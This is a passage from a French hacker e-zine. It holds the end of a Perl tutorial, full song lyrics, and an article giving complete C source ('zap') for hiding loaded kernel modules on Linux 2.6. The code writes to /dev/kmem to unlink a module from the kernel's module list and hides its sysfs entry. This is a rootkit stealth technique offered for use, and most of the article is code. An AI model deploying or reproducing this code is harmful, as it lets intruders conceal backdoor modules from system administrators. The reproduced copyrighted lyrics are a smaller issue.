@meuh; # même chose que le map de lautre ligne L'EXPR se trouve à être un match avec $_, on peut donc y mettre une regex @subdir = grep !/\.|\.\./, @DIRLIST; # enleve les dirs . et .. de # DIRLIST et fout ça dans @subdir Donc on peut arriver a faire ça : @adultes = grep { $bleh{$_}{age} >= 18 } keys %bleh; cool. heh. Bon voila, on vient de voir quelques affaires puissant en perl. Dites vous que rendu a ce tuto la, le reste ce qu'il reste a voir en perl, c'est soit des modules ou des extensions par défaut de Perl, mais la la base, nous l'avons presque tout couvert (sans bien sur avoir couvert les subtilités, qui sont très subtiles d'ailleurs) ce que Perl peut offrir. Mais bon, avec les zillions de modules disponible sur CPAN, et les tonnes de modules par défaut, le plaisir de continuer a apprendre avec Perl peut se poursuivre jusqu'à l'infini.. à l'infini.. à l'infini... Note : Cet article remporte le record guiness (vous savez la bière la) de l'article le plus long a produire de l'histoire. Il a été écrit sur papier en décembre 2003, et (vu que le #4 de mes articles de perl était déjà assé long) garder en archive, pour être écrit au 1/4 quelques semaines après. Cependant le dernier jet a été donner en août 2004, soit 8 mois après son écriture. Beat this. - LastCall_ .----------------------------------------------- - - --- - --- | LastCall_ [lastcall at mindkind dot org] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - Harvey Danger---Flagpole Sitta euquivo I had visions, I was in them I was looking into the mirror To see a little bit clearer Rottenness and evil in me i Fingertips have memories Mine can't forget the curves of your body And when I feel a bit naughty I run it up the flagpole and see who salutes (but no one ever does) I'm not sick but (I'm not well And I'm so hot cause I'm in hell Been around the world and found That only stupid people are breeding The cretins cloning and feeding And I don't even own a TV Put me in the hospital for nerves And then they had to commit me You told them all I was crazy They cut off my legs now I'm an amputee, god damn you I'm not sick but I'm not well And I'm so hot cause i'm in hell I'm not sick but I'm not well And it's a sin to live so well I wanna publish zines And rage against machines I wanna pierce my tongue It doesn't hurt, it feels fine The trivial sublime I'd like to turn off time And kill my mind You kill my mind Paranoia paranoia Everybody's coming to get me Just say you never met me I'm going underground with the moles Hear the voices in my head I swear to god it sounds like they're snoring But if you're bored then you're boring The agony and the irony, they're killing me I'm not sick but I'm not well And I'm so hot cause I'm in hell I'm not sick but I'm not well And it's a sin to live so well ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.14 LKM hide en 2.6 : aka 'cachez ces modules que je ne saurais voir' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | Intro ¯¯¯¯¯ Cet article démontre un code en C qui permet de cacher des LKM dans Linux 2.6. Il n'y a pas réellement de code à ce sujet de disponible sur le web pour 2.6 à l'instant même. Pour ceux qui voudrait savoir comment tout ça fonctionne exactement, on vous suggère de lire Documentation/kobject.txt Documentation/filesystems/sysfs.txt Dans le répertoire de votre kernel 2.6 favoris. Pour ceux qui ont aucune batarde d'idée de quoi nous parlons présentement (et/ou son rapport avec le hacking), retourner jouer à Counter-Strike ou aller lire l'article de agonn (Backdoors demystified) dans Brainfaktor #1 ( http://brainfaktor.org/ ). Concepts ¯¯¯¯¯¯¯¯ Le kernel Linux 2.6 garde en mémoire une liste chainée qui contient tous les modules. Il nous suffit donc de trouver le commencement de la liste dans le kernel, de suivre la liste, de trouver le module en question et de l'enlever de la liste en interchangeant les pointeurs perv et next des modules adjacents a celui qu'on veut hider : lprev.next = lh.next; lnext.prev = lh.prev; kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.prev); kwrite(f, &lnext, sizeof(modules), (unsigned long)lh.next); Notre implémentation est en faite un "hider" qui s'occupe de chercher pour un nom de module. Cette technique peut être aussi utiliser par le module lui même pour se cacher lui même. Cette technique n'est pas parfaite, car en fait on peut trouver facilement le module en regardant dans sysfs avec "mount -t sysfs none /sys". sysfs étant un file system garder seulement en RAM, nous pouvons donc l'enlever de la liste de sysfs en enlevant son directory de la structure en mémoire (dcache) : kread(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int)); d_flag |= 0x0010; kwrite(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int)); De plus, il y a toujours moyen d'aller chercher en RAM pour le nom du module dans la structure kobject: struct kobject { char name[KOBJ_NAME_LEN]; atomic_t refcount; struct list_head entry; struct kobject * parent; struct kset * kset; struct kobj_type * ktype; struct dentry * dentry; }; Si vous voulez vous amusez vous pouvez donc gosser un petit code qui search en mémoire pour les kobject et qui regarde les name. Pratique ¯¯¯¯¯¯¯¯ Évidemment essayer pas de rouler ce code la sur du 2.4, ça marche pas pentoute. Si vous voulez du 2.4 aller voir sur le web tel que : http://www.freemode.net/archives/000137.html Avant de compiler, il faudrait aussi que vous ajuster KERNEL_START et KERNEL_END avec votre System.map : startup_32 == KERNEL_START _end == KERNEL_END Si vous prenez ces valeurs la, ca devrait marcher. Le code est pour x86, et évidamment vous devez être root pour l'exécuter. Si grsecurity est installé et configuré pour protéger l'écriture du /dev/kmem, le code ne fonctionnera pas. Le code ¯¯¯¯¯¯¯ Pour bien comprendre on vous conseil de lire le code (qui est très bien undocummented!). Le zap.c contient les parties les plus intéressantes, util.c contient seulement les fonctions pour jouer dans le kernel. Les valeurs KERNEL_START et KERNEL_END sont dans util.h Pour compiler, utilisé simplement "gcc -o zap zap.c util.c". ----------- 8< cut here ---------[ zap.c ]--------- cut here 8< ----------- #include "util.h" void usage(); int main(int argc, char *argv[]) { int f, c; unsigned long cpt, mod, kob; unsigned int d_flag; struct list_head lh, lprev, lnext; struct kobject k; modName = NULL; name = NULL; while ((c = getopt (argc, argv, "b:e:m:")) != -1) { switch(c) { case 'b': break; case 'e': break; case 'm': modName = (char *) malloc(strlen(optarg) + 1); strncpy(modName, optarg, strlen(optarg)); break; default: usage(); abort(); } } if (modName == NULL) { usage(); abort(); } f = open("/dev/kmem", O_RDWR); cpt = KERNEL_START; name = (char *) malloc(strlen(modName) + 1); while ((kread(f, &lh, sizeof(modules), cpt)) == sizeof(modules) && cpt < KERNEL_END) { if (verify(f, cpt, cpt, (unsigned long)lh.next) == 1) { if ((mod = findMod(f, cpt, (long)lh.next)) > 0) { kread(f, &kob, sizeof(kob), (unsigned long)(mod + sizeof(modules) + MODULE_NAME_LEN)); kread(f, &k, sizeof(k), (unsigned long)kob); if (k.dentry != NULL) { kread(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int)); d_flag |= 0x0010; kwrite(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int)); } kread(f, &lh, sizeof(modules), mod); kread(f, &lprev, sizeof(modules), (unsigned long)lh.prev); kread(f, &lnext, sizeof(modules), (unsigned long)lh.next); if (lh.prev == lh.next) { lprev.next = lh.next; lprev.prev = lh.next; kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.next); } else { lprev.next = lh.next; lnext.prev = lh.prev; kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.prev); kwrite(f, &lnext, sizeof(modules), (unsigned long)lh.next); } } } cpt++; } if (name != NULL) free(name); if (modName != NULL) free(modName); return 0; } void usage() { printf("Usage:zap -m ModuleName\n"); } ----------- 8< cut here ---------[ EOF ]--------- cut here 8< ----------- ----------- 8< cut here ---------[ util.c ]--------- cut here 8< ----------- #include "util.h" int kread(int f, void *p, int size, unsigned long offset) { lseek(f, offset, SEEK_SET); return read(f, p, size); } int kwrite(int f, void *p, int size, unsigned long offset) { lseek(f, offset, SEEK_SET); return write(f, p, size); } int verify(int f, unsigned long start, unsigned long cur, unsigned long next) { struct list_head lh; if (kread(f, &lh, sizeof(modules), next) != sizeof(modules)) return -1; if ((long)lh.prev == cur) { if ((long)lh.next == start) return 1; else return verify(f, start, next, (long)lh.next); } else return 0; } unsigned long findMod(int f, unsigned long start, unsigned long cur) { struct list_head lh; if (cur == start) return 0; if (kread(f, &lh, sizeof(modules), cur) != sizeof(modules)) return -1; kread(f, name, strlen(modName),(long)(cur + sizeof(modules))); if (strncmp(name, modName, strlen(modName)) == 0) return cur; else return findMod(f, start, (long)lh.next); } ----------- 8< cut here ---------[ EOF ]--------- cut here 8< ----------- ----------- 8< cut here ---------[ util.h ]--------- cut here 8< -------- #include #include #include #include #include struct list_head { struct list_head *next, *prev; }; #define KERNEL_START 0xc0100000 #define KERNEL_END 0xc0424000 #define KOBJ_NAME_LEN 20 #define LIST_HEAD_INIT(name) { &(name), &(name) } #define LIST_HEAD(name) \ struct list_head name = LIST_HEAD_INIT(name) #define MODULE_NAME_LEN (64 - sizeof(unsigned long)) static LIST_HEAD(modules); char *name; char *modName; struct dentry { int padding; unsigned int d_flags; }; struct kobject { char * k_name; char name[KOBJ_NAME_LEN]; char padding[24]; struct dentry * dentry; }; enum module_state { MODULE_STATE_LIVE, MODULE_STATE_COMING, MODULE_STATE_GOING, }; struct module_kobject { struct kobject kobj; unsigned int num_attributes; }; struct module { enum module_state state; struct list_head list; char name[MODULE_NAME_LEN]; struct module_kobject *mkobj; }; int verify(int, unsigned long, unsigned long, unsigned long); int kwrite(int, void *, int,unsigned long); int kread(int, void *, int, unsigned long); unsigned long findMod(int, unsigned long, unsigned long); ----------- 8< cut here ---------[ EOF ]--------- cut here 8< -------------- The end ¯¯¯¯¯¯¯ On vous invite à envoyer vos comments/statèges pour trouver le module/solutions additionnelles à mk@mindkind.org. - The 30 minutes lemurians from Mindkind that will code for p0rn (thx Zarath) .----------------------------------------------- - - --- - --- | Mindkind [mk at mindkind dot org] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - bananaphone. EOF